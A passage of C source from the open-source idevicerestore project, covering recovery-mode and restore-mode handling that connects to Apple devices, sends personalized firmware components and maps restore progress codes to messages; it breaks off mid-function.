>= attempts) { error("ERROR: Unable to connect to device in recovery mode\n"); return -1; } sleep(4); debug("Retrying connection...\n"); } if (client->srnm == NULL) { const struct irecv_device_info *device_info = irecv_get_device_info(recovery); if (device_info && device_info->srnm) { client->srnm = strdup(device_info->srnm); info("INFO: device serial number is %s\n", client->srnm); } } irecv_event_subscribe(recovery, IRECV_PROGRESS, &recovery_progress_callback, NULL); client->recovery->client = recovery; return 0; } int recovery_set_autoboot(struct idevicerestore_client_t* client, int enable) { irecv_error_t recovery_error = IRECV_E_SUCCESS; recovery_error = irecv_send_command(client->recovery->client, (enable) ? "setenv auto-boot true" : "setenv auto-boot false"); if (recovery_error != IRECV_E_SUCCESS) { error("ERROR: Unable to set auto-boot environmental variable\n"); return -1; } recovery_error = irecv_send_command(client->recovery->client, "saveenv"); if (recovery_error != IRECV_E_SUCCESS) { error("ERROR: Unable to save environmental variable\n"); return -1; } return 0; } int recovery_enter_restore(struct idevicerestore_client_t* client, plist_t build_identity) { if (client->build_major >= 8) { client->restore_boot_args = strdup("rd=md0 nand-enable-reformat=1 -progress"); } else if (client->macos_variant) { client->restore_boot_args = strdup("rd=md0 nand-enable-reformat=1 -progress -restore"); } /* upload data to make device boot restore mode */ if(client->recovery == NULL) { if (recovery_client_new(client) < 0) { return -1; } } if ((client->build_major > 8) && !(client->flags & FLAG_CUSTOM)) { if (!client->image4supported) { /* send ApTicket */ if (recovery_send_ticket(client) < 0) { error("ERROR: Unable to send APTicket\n"); return -1; } } } info("Recovery Mode Environment:\n"); char* value = NULL; irecv_getenv(client->recovery->client, "build-version", &value); info("iBoot build-version=%s\n", (value) ? value : "(unknown)"); free(value); value = NULL; irecv_getenv(client->recovery->client, "build-style", &value); info("iBoot build-style=%s\n", (value) ? value : "(unknown)"); free(value); value = NULL; unsigned long boot_stage = 0; irecv_getenv(client->recovery->client, "boot-stage", &value); if (value) { boot_stage = strtoul(value, NULL, 0); } if (boot_stage > 0) { info("iBoot boot-stage=%s\n", value); free(value); value = NULL; if (boot_stage != 2) { error("ERROR: iBoot should be at boot stage 2, continuing anyway...\n"); } } unsigned long radio_error = 0; irecv_getenv(client->recovery->client, "radio-error", &value); if (value) { radio_error = strtoul(value, NULL, 0); } if (radio_error > 0) { info("radio-error=%s\n", value); free(value); value = NULL; irecv_getenv(client->recovery->client, "radio-error-string", &value); if (value) { info("radio-error-string=%s\n", value); free(value); value = NULL; } } if (recovery_set_autoboot(client, 0) < 0) { return -1; } /* send logo and show it */ if (recovery_send_applelogo(client, build_identity) < 0) { error("ERROR: Unable to send AppleLogo\n"); return -1; } /* send components loaded by iBoot */ if (recovery_send_loaded_by_iboot(client, build_identity) < 0) { error("ERROR: Unable to send components supposed to be loaded by iBoot\n"); return -1; } /* send ramdisk and run it */ if (recovery_send_ramdisk(client, build_identity) < 0) { error("ERROR: Unable to send Ramdisk\n"); return -1; } /* send devicetree and load it */ if (recovery_send_component_and_command(client, build_identity, "RestoreDeviceTree", "devicetree") < 0) { error("ERROR: Unable to send DeviceTree\n"); return -1; } if (build_identity_has_component(build_identity, "RestoreSEP")) { /* send rsepfirmware and load it */ if (recovery_send_component_and_command(client, build_identity, "RestoreSEP", "rsepfirmware") < 0) { error("ERROR: Unable to send RestoreSEP\n"); return -1; } } mutex_lock(&client->device_event_mutex); if (recovery_send_kernelcache(client, build_identity) < 0) { mutex_unlock(&client->device_event_mutex); error("ERROR: Unable to send KernelCache\n"); return -1; } debug("DEBUG: Waiting for device to disconnect...\n"); cond_wait_timeout(&client->device_event_cond, &client->device_event_mutex, 30000); if (client->mode == MODE_RECOVERY || (client->flags & FLAG_QUIT)) { mutex_unlock(&client->device_event_mutex); error("ERROR: Failed to place device in restore mode\n"); return -1; } mutex_unlock(&client->device_event_mutex); return 0; } int recovery_send_ticket(struct idevicerestore_client_t* client) { if (!client->tss) { error("ERROR: ApTicket requested but no TSS present\n"); return -1; } unsigned char* data = NULL; uint32_t size = 0; if (tss_response_get_ap_ticket(client->tss, &data, &size) < 0) { error("ERROR: Unable to get ApTicket from TSS request\n"); return -1; } info("Sending APTicket (%d bytes)\n", size); irecv_error_t err = irecv_send_buffer(client->recovery->client, data, size, 0); free(data); if (err != IRECV_E_SUCCESS) { error("ERROR: Unable to send APTicket: %s\n", irecv_strerror(err)); return -1; } err = irecv_send_command(client->recovery->client, "ticket"); if (err != IRECV_E_SUCCESS) { error("ERROR: Unable to send ticket command\n"); return -1; } return 0; } int recovery_send_component(struct idevicerestore_client_t* client, plist_t build_identity, const char* component) { unsigned int size = 0; unsigned char* data = NULL; char* path = NULL; irecv_error_t err = 0; if (client->tss) { if (tss_response_get_path_by_entry(client->tss, component, &path) < 0) { debug("NOTE: No path for component %s in TSS, will fetch from build_identity\n", component); } } if (!path) { if (build_identity_get_component_path(build_identity, component, &path) < 0) { error("ERROR: Unable to get path for component '%s'\n", component); free(path); return -1; } } unsigned char* component_data = NULL; unsigned int component_size = 0; int ret = extract_component(client->ipsw, path, &component_data, &component_size); free(path); if (ret < 0) { error("ERROR: Unable to extract component: %s\n", component); return -1; } ret = personalize_component(component, component_data, component_size, client->tss, &data, &size); free(component_data); if (ret < 0) { error("ERROR: Unable to get personalized component: %s\n", component); return -1; } info("Sending %s (%d bytes)...\n", component, size); // FIXME: Did I do this right???? err = irecv_send_buffer(client->recovery->client, data, size, 0); free(data); if (err != IRECV_E_SUCCESS) { error("ERROR: Unable to send %s component: %s\n", component, irecv_strerror(err)); return -1; } return 0; } int recovery_send_component_and_command(struct idevicerestore_client_t* client, plist_t build_identity, const char* component, const char* command) { irecv_error_t recovery_error = IRECV_E_SUCCESS; if (recovery_send_component(client, build_identity, component) < 0) { error("ERROR: Unable to send %s to device.\n", component); return -1; } recovery_error = irecv_send_command(client->recovery->client, command); if (recovery_error != IRECV_E_SUCCESS) { error("ERROR: Unable to execute %s\n", component); return -1; } return 0; } int recovery_send_ibec(struct idevicerestore_client_t* client, plist_t build_identity) { const char* component = "iBEC"; irecv_error_t recovery_error = IRECV_E_SUCCESS; if (client->recovery == NULL) { if (recovery_client_new(client) < 0) { return -1; } } if (recovery_send_component(client, build_identity, component) < 0) { error("ERROR: Unable to send %s to device.\n", component); return -1; } recovery_error = irecv_send_command_breq(client->recovery->client, "go", 1); if (recovery_error != IRECV_E_SUCCESS) { error("ERROR: Unable to execute %s\n", component); return -1; } irecv_usb_control_transfer(client->recovery->client, 0x21, 1, 0, 0, 0, 0, 5000); return 0; } int recovery_send_applelogo(struct idevicerestore_client_t* client, plist_t build_identity) { const char* component = "RestoreLogo"; irecv_error_t recovery_error = IRECV_E_SUCCESS; if (!build_identity_has_component(build_identity, component)) { return 0; } info("Sending %s...\n", component); if (client->recovery == NULL) { if (recovery_client_new(client) < 0) { return -1; } } if (recovery_send_component(client, build_identity, component) < 0) { error("ERROR: Unable to send %s to device.\n", component); return -1; } recovery_error = irecv_send_command(client->recovery->client, "setpicture 4"); if (recovery_error != IRECV_E_SUCCESS) { error("ERROR: Unable to set %s\n", component); return -1; } recovery_error = irecv_send_command(client->recovery->client, "bgcolor 0 0 0"); if (recovery_error != IRECV_E_SUCCESS) { error("ERROR: Unable to display %s\n", component); return -1; } return 0; } int recovery_send_loaded_by_iboot(struct idevicerestore_client_t* client, plist_t build_identity) { if (client->recovery == NULL) { if (recovery_client_new(client) < 0) { return -1; } } plist_t manifest_node = plist_dict_get_item(build_identity, "Manifest"); if (!manifest_node || plist_get_node_type(manifest_node) != PLIST_DICT) { error("ERROR: Unable to find manifest node\n"); return -1; } plist_dict_iter iter = NULL; plist_dict_new_iter(manifest_node, &iter); int err = 0; while (iter) { char *key = NULL; plist_t node = NULL; plist_dict_next_item(manifest_node, iter, &key, &node); if (key == NULL) break; plist_t iboot_node = plist_access_path(node, 2, "Info", "IsLoadedByiBoot"); plist_t iboot_stg1_node = plist_access_path(node, 2, "Info", "IsLoadedByiBootStage1"); uint8_t is_stg1 = 0; if (iboot_stg1_node && plist_get_node_type(iboot_stg1_node) == PLIST_BOOLEAN) { plist_get_bool_val(iboot_stg1_node, &is_stg1); } if (iboot_node && plist_get_node_type(iboot_node) == PLIST_BOOLEAN && !is_stg1) { uint8_t b = 0; plist_get_bool_val(iboot_node, &b); if (b) { debug("DEBUG: %s is loaded by iBoot.\n", key); if (recovery_send_component_and_command(client, build_identity, key, "firmware") < 0) { error("ERROR: Unable to send component '%s' to device.\n", key); err++; } } } free(key); } free(iter); return (err) ? -1 : 0; } int recovery_send_ramdisk(struct idevicerestore_client_t* client, plist_t build_identity) { const char *component = "RestoreRamDisk"; irecv_error_t recovery_error = IRECV_E_SUCCESS; if(client->recovery == NULL) { if (recovery_client_new(client) < 0) { return -1; } } char* value = NULL; irecv_getenv(client->recovery->client, "ramdisk-size", &value); info("ramdisk-size=%s\n", (value ? value : "(unknown)")); free(value); value = NULL; if (recovery_send_component(client, build_identity, component) < 0) { error("ERROR: Unable to send %s to device.\n", component); return -1; } irecv_send_command(client->recovery->client, "getenv ramdisk-delay"); recovery_error = irecv_send_command(client->recovery->client, "ramdisk"); if (recovery_error != IRECV_E_SUCCESS) { error("ERROR: Unable to execute %s\n", component); return -1; } sleep(2); return 0; } int recovery_send_kernelcache(struct idevicerestore_client_t* client, plist_t build_identity) { const char* component = "RestoreKernelCache"; irecv_error_t recovery_error = IRECV_E_SUCCESS; if (client->recovery == NULL) { if (recovery_client_new(client) < 0) { return -1; } } if (recovery_send_component(client, build_identity, component) < 0) { error("ERROR: Unable to send %s to device.\n", component); return -1; } irecv_usb_control_transfer(client->recovery->client, 0x21, 1, 0, 0, 0, 0, 5000); if (client->restore_boot_args) { char setba[256]; strcpy(setba, "setenv boot-args "); strcat(setba, client->restore_boot_args); recovery_error = irecv_send_command(client->recovery->client, setba); } recovery_error = irecv_send_command_breq(client->recovery->client, "bootx", 1); if (recovery_error != IRECV_E_SUCCESS) { error("ERROR: Unable to execute %s\n", component); return -1; } return 0; } int recovery_is_image4_supported(struct idevicerestore_client_t* client) { if(client->recovery == NULL) { if (recovery_client_new(client) < 0) { return 0; } } const struct irecv_device_info *device_info = irecv_get_device_info(client->recovery->client); if (!device_info) { return 0; } return (device_info->ibfl & IBOOT_FLAG_IMAGE4_AWARE); } int recovery_get_ap_nonce(struct idevicerestore_client_t* client, unsigned char** nonce, unsigned int* nonce_size) { if(client->recovery == NULL) { if (recovery_client_new(client) < 0) { return -1; } } const struct irecv_device_info *device_info = irecv_get_device_info(client->recovery->client); if (!device_info) { return -1; } if (device_info->ap_nonce && device_info->ap_nonce_size > 0) { *nonce = (unsigned char*)malloc(device_info->ap_nonce_size); if (!*nonce) { return -1; } *nonce_size = device_info->ap_nonce_size; memcpy(*nonce, device_info->ap_nonce, *nonce_size); } return 0; } int recovery_get_sep_nonce(struct idevicerestore_client_t* client, unsigned char** nonce, unsigned int* nonce_size) { if(client->recovery == NULL) { if (recovery_client_new(client) < 0) { return -1; } } const struct irecv_device_info *device_info = irecv_get_device_info(client->recovery->client); if (!device_info) { return -1; } if (device_info->sep_nonce && device_info->sep_nonce_size > 0) { *nonce = (unsigned char*)malloc(device_info->sep_nonce_size); if (!*nonce) { return -1; } *nonce_size = device_info->sep_nonce_size; memcpy(*nonce, device_info->sep_nonce, *nonce_size); } return 0; } int recovery_send_reset(struct idevicerestore_client_t* client) { irecv_send_command_breq(client->recovery->client, "reset", 1); return 0; } idevicerestore-master/src/recovery.h000066400000000000000000000055161464320324600201740ustar00rootroot00000000000000/* * recovery.h * Functions for handling idevices in recovery mode * * Copyright (c) 2010-2012 Martin Szulecki. All Rights Reserved. * Copyright (c) 2012 Nikias Bassen. All Rights Reserved. * Copyright (c) 2010 Joshua Hill. All Rights Reserved. * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA */ #ifndef IDEVICERESTORE_RECOVERY_H #define IDEVICERESTORE_RECOVERY_H #ifdef __cplusplus extern "C" { #endif #include #include #include #include "common.h" struct recovery_client_t { irecv_client_t client; const char* ipsw; plist_t tss; }; int recovery_client_new(struct idevicerestore_client_t* client); void recovery_client_free(struct idevicerestore_client_t* client); int recovery_enter_restore(struct idevicerestore_client_t* client, plist_t build_identity); int recovery_send_component(struct idevicerestore_client_t* client, plist_t build_identity, const char* component); int recovery_send_component_and_command(struct idevicerestore_client_t* client, plist_t build_identity, const char* component, const char* command); int recovery_send_ibec(struct idevicerestore_client_t* client, plist_t build_identity); int recovery_send_applelogo(struct idevicerestore_client_t* client, plist_t build_identity); int recovery_send_devicetree(struct idevicerestore_client_t* client, plist_t build_identity); int recovery_send_ramdisk(struct idevicerestore_client_t* client, plist_t build_identity); int recovery_send_kernelcache(struct idevicerestore_client_t* client, plist_t build_identity); int recovery_send_loaded_by_iboot(struct idevicerestore_client_t* client, plist_t build_identity); int recovery_send_reset(struct idevicerestore_client_t* client); int recovery_send_ticket(struct idevicerestore_client_t* client); int recovery_set_autoboot(struct idevicerestore_client_t* client, int enable); int recovery_is_image4_supported(struct idevicerestore_client_t* client); int recovery_get_ap_nonce(struct idevicerestore_client_t* client, unsigned char** nonce, unsigned int* nonce_size); int recovery_get_sep_nonce(struct idevicerestore_client_t* client, unsigned char** nonce, unsigned int* nonce_size); #ifdef __cplusplus } #endif #endif idevicerestore-master/src/restore.c000066400000000000000000005034171464320324600200170ustar00rootroot00000000000000/* * restore.c * Functions for handling idevices in restore mode * * Copyright (c) 2012-2019 Nikias Bassen. All Rights Reserved. * Copyright (c) 2010-2013 Martin Szulecki. All Rights Reserved. * Copyright (c) 2010 Joshua Hill. All Rights Reserved. * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA */ #ifdef HAVE_CONFIG_H #include #endif #include #include #include #include #include #include #include #include #include #ifdef HAVE_REVERSE_PROXY #include #else #warning Linking against libimobiledevice without reverse proxy support. Please update to a newer version of libimobiledevice, the legacy code used will be removed in a future version of idevicerestore. #endif #include #include #include #include #include "idevicerestore.h" #include "asr.h" #include "fdr.h" #include "fls.h" #include "mbn.h" #include "ftab.h" #include "ipsw.h" #include "restore.h" #include "common.h" #include "endianness.h" #define CREATE_PARTITION_MAP 11 #define CREATE_FILESYSTEM 12 #define RESTORE_IMAGE 13 #define VERIFY_RESTORE 14 #define CHECK_FILESYSTEMS 15 #define MOUNT_FILESYSTEMS 16 #define FIXUP_VAR 17 #define FLASH_FIRMWARE 18 #define UPDATE_BASEBAND 19 #define SET_BOOT_STAGE 20 #define REBOOT_DEVICE 21 #define SHUTDOWN_DEVICE 22 #define TURN_ON_ACCESSORY_POWER 23 #define CLEAR_BOOTARGS 24 #define MODIFY_BOOTARGS 25 #define INSTALL_ROOT 26 #define INSTALL_KERNELCACHE 27 #define WAIT_FOR_NAND 28 #define UNMOUNT_FILESYSTEMS 29 #define SET_DATETIME 30 #define EXEC_IBOOT 31 #define FINALIZE_NAND_EPOCH_UPDATE 32 #define CHECK_INAPPR_BOOT_PARTITIONS 33 #define CREATE_FACTORY_RESTORE_MARKER 34 #define LOAD_FIRMWARE 35 #define REQUESTING_FUD_DATA 36 #define REMOVING_ACTIVATION_RECORD 37 #define CHECK_BATTERY_VOLTAGE 38 #define WAIT_BATTERY_CHARGE 39 #define CLOSE_MODEM_TICKETS 40 #define MIGRATE_DATA 41 #define WIPE_STORAGE_DEVICE 42 #define SEND_APPLE_LOGO 43 #define CHECK_LOGS 44 #define CLEAR_NVRAM 46 #define UPDATE_GAS_GAUGE 47 #define PREPARE_BASEBAND_UPDATE 48 #define BOOT_BASEBAND 49 #define CREATE_SYSTEM_KEYBAG 50 #define UPDATE_IR_MCU_FIRMWARE 51 #define RESIZE_SYSTEM_PARTITION 52 #define COLLECTING_UPDATER_OUTPUT 53 #define PAIR_STOCKHOLM 54 #define UPDATE_STOCKHOLM 55 #define UPDATE_SWDHID 56 #define CERTIFY_SEP 57 #define UPDATE_NAND_FIRMWARE 58 #define UPDATE_SE_FIRMWARE 59 #define UPDATE_SAVAGE 60 #define INSTALLING_DEVICETREE 61 #define CERTIFY_SAVAGE 62 #define SUBMITTING_PROVINFO 63 #define CERTIFY_YONKERS 64 #define UPDATE_ROSE 65 #define UPDATE_VERIDIAN 66 #define CREATING_PROTECTED_VOLUME 67 #define RESIZING_MAIN_FS_PARTITION 68 #define CREATING_RECOVERY_OS_VOLUME 69 #define INSTALLING_RECOVERY_OS_FILES 70 #define INSTALLING_RECOVERY_OS_IMAGE 71 #define REQUESTING_EAN_DATA 74 #define SEALING_SYSTEM_VOLUME 77 #define UPDATING_APPLETCON 81 static int restore_finished = 0; static int restore_device_connected = 0; int restore_client_new(struct idevicerestore_client_t* client) { struct restore_client_t* restore = (struct restore_client_t*) malloc(sizeof(struct restore_client_t)); if (restore == NULL) { error("ERROR: Out of memory\n"); return -1; } if (restore_open_with_timeout(client) < 0) { restore_client_free(client); return -1; } client->restore = restore; return 0; } void restore_client_free(struct idevicerestore_client_t* client) { if (client && client->restore) { if(client->restore->client) { restored_client_free(client->restore->client); client->restore->client = NULL; } if(client->restore->device) { idevice_free(client->restore->device); client->restore->device = NULL; } if(client->restore->bbtss) { plist_free(client->restore->bbtss); client->restore->bbtss = NULL; } free(client->restore); client->restore = NULL; } } static int restore_idevice_new(struct idevicerestore_client_t* client, idevice_t* device) { int num_devices = 0; char **devices = NULL; idevice_get_device_list(&devices, &num_devices); if (num_devices == 0) { return -1; } *device = NULL; idevice_t dev = NULL; idevice_error_t device_error; restored_client_t restore = NULL; int j; for (j = 0; j < num_devices; j++) { if (restore != NULL) { restored_client_free(restore); restore = NULL; } if (dev != NULL) { idevice_free(dev); dev = NULL; } device_error = idevice_new(&dev, devices[j]); if (device_error != IDEVICE_E_SUCCESS) { debug("%s: can't open device with UDID %s\n", __func__, devices[j]); continue; } if (restored_client_new(dev, &restore, "idevicerestore") != RESTORE_E_SUCCESS) { debug("%s: can't connect to restored on device with UDID %s\n", __func__, devices[j]); continue; } char* type = NULL; uint64_t version = 0; if (restored_query_type(restore, &type, &version) != RESTORE_E_SUCCESS) { continue; } if (strcmp(type, "com.apple.mobile.restored") != 0) { free(type); continue; } free(type); if (client->ecid != 0) { plist_t node = NULL; plist_t hwinfo = NULL; if (restored_query_value(restore, "HardwareInfo", &hwinfo) != RESTORE_E_SUCCESS) { continue; } node = plist_dict_get_item(hwinfo, "UniqueChipID"); if (!node || plist_get_node_type(node) != PLIST_UINT) { if (hwinfo) { plist_free(hwinfo); } continue; } restored_client_free(restore); restore = NULL; uint64_t this_ecid = 0; plist_get_uint_val(node, &this_ecid); plist_free(hwinfo); if (this_ecid != client->ecid) { continue; } } if (restore) { restored_client_free(restore); restore = NULL; } client->udid = strdup(devices[j]); *device = dev; break; } idevice_device_list_free(devices); return 0; } int restore_check_mode(struct idevicerestore_client_t* client) { idevice_t device = NULL; restore_idevice_new(client, &device); if (!device) { return -1; } idevice_free(device); return 0; } irecv_device_t restore_get_irecv_device(struct idevicerestore_client_t* client) { char* model = NULL; plist_t node = NULL; idevice_t device = NULL; restored_client_t restore = NULL; restored_error_t restore_error = RESTORE_E_SUCCESS; irecv_device_t irecv_device = NULL; restore_idevice_new(client, &device); if (!device) { return NULL; } restore_error = restored_client_new(device, &restore, "idevicerestore"); if (restore_error != RESTORE_E_SUCCESS) { idevice_free(device); return NULL; } if (restored_query_type(restore, NULL, NULL) != RESTORE_E_SUCCESS) { restored_client_free(restore); idevice_free(device); return NULL; } if (client->srnm == NULL) { if (restored_get_value(restore, "SerialNumber", &node) == RESTORE_E_SUCCESS) { plist_get_string_val(node, &client->srnm); info("INFO: device serial number is %s\n", client->srnm); plist_free(node); node = NULL; } } restore_error = restored_get_value(restore, "HardwareModel", &node); restored_client_free(restore); idevice_free(device); if (restore_error != RESTORE_E_SUCCESS || !node || plist_get_node_type(node) != PLIST_STRING) { error("ERROR: Unable to get HardwareModel from restored\n"); plist_free(node); return NULL; } plist_get_string_val(node, &model); irecv_devices_get_device_by_hardware_model(model, &irecv_device); free(model); return irecv_device; } int restore_is_image4_supported(struct idevicerestore_client_t* client) { int result = 0; plist_t hwinfo = NULL; idevice_t device = NULL; restored_client_t restore = NULL; restored_error_t restore_error = RESTORE_E_SUCCESS; if (idevice_new(&device, client->udid) != IDEVICE_E_SUCCESS) { error("ERROR: Could not connect to device %s\n", client->udid); return -1; } restore_error = restored_client_new(device, &restore, "idevicerestore"); if (restore_error != RESTORE_E_SUCCESS) { idevice_free(device); return -1; } if (restored_query_type(restore, NULL, NULL) != RESTORE_E_SUCCESS) { restored_client_free(restore); idevice_free(device); return -1; } restore_error = restored_query_value(restore, "HardwareInfo", &hwinfo); if (restore_error == RESTORE_E_SUCCESS) { uint8_t b = 0; plist_t node = plist_dict_get_item(hwinfo, "SupportsImage4"); if (node && plist_get_node_type(node) == PLIST_BOOLEAN) { plist_get_bool_val(node, &b); result = b; } } restored_client_free(restore); idevice_free(device); return result; } int restore_reboot(struct idevicerestore_client_t* client) { if(client->restore == NULL) { if (restore_open_with_timeout(client) < 0) { error("ERROR: Unable to open device in restore mode\n"); return -1; } } mutex_lock(&client->device_event_mutex); info("Rebooting restore mode device...\n"); restored_reboot(client->restore->client); restored_client_free(client->restore->client); cond_wait_timeout(&client->device_event_cond, &client->device_event_mutex, 30000); if (client->mode == MODE_RESTORE) { mutex_unlock(&client->device_event_mutex); return -1; } mutex_unlock(&client->device_event_mutex); return 0; } static int restore_is_current_device(struct idevicerestore_client_t* client, const char* udid) { if (!client) { return 0; } if (!client->ecid) { error("ERROR: %s: no ECID given in client data\n", __func__); return 0; } idevice_t device = NULL; idevice_error_t device_error; restored_client_t restored = NULL; restored_error_t restore_error; char *type = NULL; uint64_t version = 0; device_error = idevice_new(&device, udid); if (device_error != IDEVICE_E_SUCCESS) { debug("%s: can't open device with UDID %s\n", __func__, udid); return 0; } restore_error = restored_client_new(device, &restored, "idevicerestore"); if (restore_error != RESTORE_E_SUCCESS) { debug("%s: can't connect to restored\n", __func__); idevice_free(device); return 0; } restore_error = restored_query_type(restored, &type, &version); if ((restore_error == RESTORE_E_SUCCESS) && type && (strcmp(type, "com.apple.mobile.restored") == 0)) { debug("%s: Connected to %s, version %d\n", __func__, type, (int)version); } else { debug("%s: device %s is not in restore mode\n", __func__, udid); restored_client_free(restored); idevice_free(device); return 0; } plist_t hwinfo = NULL; restore_error = restored_query_value(restored, "HardwareInfo", &hwinfo); if ((restore_error != RESTORE_E_SUCCESS) || !hwinfo) { error("ERROR: %s: Unable to get HardwareInfo from restored\n", __func__); restored_client_free(restored); idevice_free(device); plist_free(hwinfo); return 0; } restored_client_free(restored); idevice_free(device); uint64_t this_ecid = 0; plist_t node = plist_dict_get_item(hwinfo, "UniqueChipID"); if (node && plist_get_node_type(node) == PLIST_UINT) { plist_get_uint_val(node, &this_ecid); } plist_free(hwinfo); if (this_ecid == 0) { error("ERROR: %s: Unable to get ECID from restored\n", __func__); return 0; } return (this_ecid == client->ecid); } int restore_open_with_timeout(struct idevicerestore_client_t* client) { char *type = NULL; uint64_t version = 0; idevice_t device = NULL; restored_client_t restored = NULL; idevice_error_t device_error = IDEVICE_E_SUCCESS; restored_error_t restore_error = RESTORE_E_SUCCESS; // no context exists so bail if (client == NULL) { return -1; } if (client->ecid == 0) { error("ERROR: no ECID in client data!\n"); return -1; } // create our restore client if it doesn't yet exist if (client->restore == NULL) { client->restore = (struct restore_client_t*) malloc(sizeof(struct restore_client_t)); if(client->restore == NULL) { error("ERROR: Out of memory\n"); return -1; } memset(client->restore, '\0', sizeof(struct restore_client_t)); } restore_device_connected = 0; if (!restore_is_current_device(client, client->udid)) { error("ERROR: Unable to connect to device in restore mode\n"); return -1; } info("Connecting now...\n"); device_error = idevice_new(&device, client->udid); if (device_error != IDEVICE_E_SUCCESS) { return -1; } restore_error = restored_client_new(device, &restored, "idevicerestore"); if (restore_error != RESTORE_E_SUCCESS) { idevice_free(device); return -1; } restore_error = restored_query_type(restored, &type, &version); if ((restore_error == RESTORE_E_SUCCESS) && type && (strcmp(type, "com.apple.mobile.restored") == 0)) { client->restore->protocol_version = version; info("Connected to %s, version %d\n", type, (int)version); } else { error("ERROR: Unable to connect to restored, error=%d\n", restore_error); restored_client_free(restored); idevice_free(device); return -1; } client->restore->device = device; client->restore->client = restored; return 0; } const char* restore_progress_string(unsigned int operation) { switch (operation) { case CREATE_PARTITION_MAP: return "Creating partition map"; case CREATE_FILESYSTEM: return "Creating filesystem"; case RESTORE_IMAGE: return "Restoring image"; case VERIFY_RESTORE: return "Verifying restore"; case CHECK_FILESYSTEMS: return "Checking filesystems"; case MOUNT_FILESYSTEMS: return "Mounting filesystems"; case FIXUP_VAR: return "Fixing up /var"; case FLASH_FIRMWARE: return "Flashing firmware"; case UPDATE_BASEBAND: return "Updating baseband"; case SET_BOOT_STAGE: return "Setting boot stage"; case REBOOT_DEVICE: return "Rebooting device"; case SHUTDOWN_DEVICE: return "Shutdown device"; case TURN_ON_ACCESSORY_POWER: return "Turning on accessory power"; case CLEAR_BOOTARGS: return "Clearing persistent boot-args"; case MODIFY_BOOTARGS: return "Modifying persistent boot-args"; case INSTALL_ROOT: return "Installing root"; case INSTALL_KERNELCACHE: return "Installing kernelcache"; case WAIT_FOR_NAND: return "Waiting for NAND"; case UNMOUNT_FILESYSTEMS: return "Unmounting filesystems"; case SET_DATETIME: return "Setting date and time on device"; case EXEC_IBOOT: return "Executing iBEC to bootstrap update"; case FINALIZE_NAND_EPOCH_UPDATE: return "Finalizing NAND epoch update"; case CHECK_INAPPR_BOOT_PARTITIONS: return "Checking for inappropriate bootable partitions"; case CREATE_FACTORY_RESTORE_MARKER: return "Creating factory restore marker"; case LOAD_FIRMWARE: return "Loading firmware data to flash"; case REQUESTING_FUD_DATA: return "Requesting FUD data"; case REMOVING_ACTIVATION_RECORD: return "Removing activation record"; case CHECK_BATTERY_VOLTAGE: return "Checking battery voltage"; case WAIT_BATTERY_CHARGE: return "Waiting for battery to charge"; case CLOSE_MODEM_TICKETS: return "Closing modem tickets"; case MIGRATE_DATA: return "Migrating data"; case WIPE_STORAGE_DEVICE: return "Wiping storage device"; case SEND_APPLE_LOGO: return "Sending Apple logo to device"; case CHECK_LOGS: return "Checking for uncollected logs"; case CLEAR_NVRAM: return "Clearing NVRAM"; case UPDATE_GAS_GAUGE: return "Updating gas gauge software"; case PREPARE_BASEBAND_UPDATE: return "Preparing for baseband update"; case BOOT_BASEBAND: return "Booting the baseband"; case CREATE_SYSTEM_KEYBAG: return "Creating system key bag"; case UPDATE_IR_MCU_FIRMWARE: return "Updating IR MCU firmware"; case RESIZE_SYSTEM_PARTITION: return "Resizing system partition"; case COLLECTING_UPDATER_OUTPUT: return "Collecting updater output"; case PAIR_STOCKHOLM: return "Pairing Stockholm"; case UPDATE_STOCKHOLM: return "Updating Stockholm"; case UPDATE_SWDHID: return "Updating SWDHID"; case CERTIFY_SEP: return "Certifying SEP"; case UPDATE_NAND_FIRMWARE: return "Updating NAND Firmware"; case UPDATE_SE_FIRMWARE: return "Updating SE Firmware"; case UPDATE_SAVAGE: return "Updating Savage"; case INSTALLING_DEVICETREE: return "Installing DeviceTree"; case CERTIFY_SAVAGE: return "Certifying Savage"; case SUBMITTING_PROVINFO: return "Submitting Provinfo"; case CERTIFY_YONKERS: return "Certifying Yonkers"; case UPDATE_ROSE: return "Updating Rose"; case UPDATE_VERIDIAN: return "Updating Veridian"; case CREATING_PROTECTED_VOLUME: return "Creating Protected Volume"; case RESIZING_MAIN_FS_PARTITION: return "Resizing Main Filesystem Partition"; case CREATING_RECOVERY_OS_VOLUME: return "Creating Recovery OS Volume"; case INSTALLING_RECOVERY_OS_FILES: return "Installing Recovery OS Files"; case INSTALLING_RECOVERY_OS_IMAGE: return "Installing Recovery OS Image"; case REQUESTING_EAN_DATA: return "Requesting EAN Data"; case SEALING_SYSTEM_VOLUME: return "Sealing System Volume"; case UPDATING_APPLETCON: return "Updating AppleTCON"; default: return "Unknown operation"; } } struct restored_service_client { }; #define SERVICE_TYPE_RESTORED 1 #define SERVICE_TYPE_PLIST 2 typedef struct restore_service_client { void* client; int type; } *restore_service_client_t; static void* _restore_get_service_client_for_data_request(struct idevicerestore_client_t *client, plist_t message) { if (!client || !client->restore || !client->restore->client || !PLIST_IS_DICT(message)) return NULL; restore_service_client_t service = (restore_service_client_t)malloc(sizeof(struct restore_service_client)); if (!plist_dict_get_item(message, "DataPort")) { service->client = client->restore->client; service->type = SERVICE_TYPE_RESTORED; return service; } plist_t data_type = plist_dict_get_item(message, "DataType"); uint16_t data_port = plist_dict_get_uint(message, "DataPort"); const char* data_type_str = plist_get_string_ptr(data_type, NULL); struct lockdownd_service_descriptor svcdesc = { data_port, 0, (char*)data_type_str }; property_list_service_client_t plclient = NULL; info("Connecting to %s data port %u\n", data_type_str, data_port); if (property_list_service_client_new(client->restore->device, &svcdesc, &plclient) != 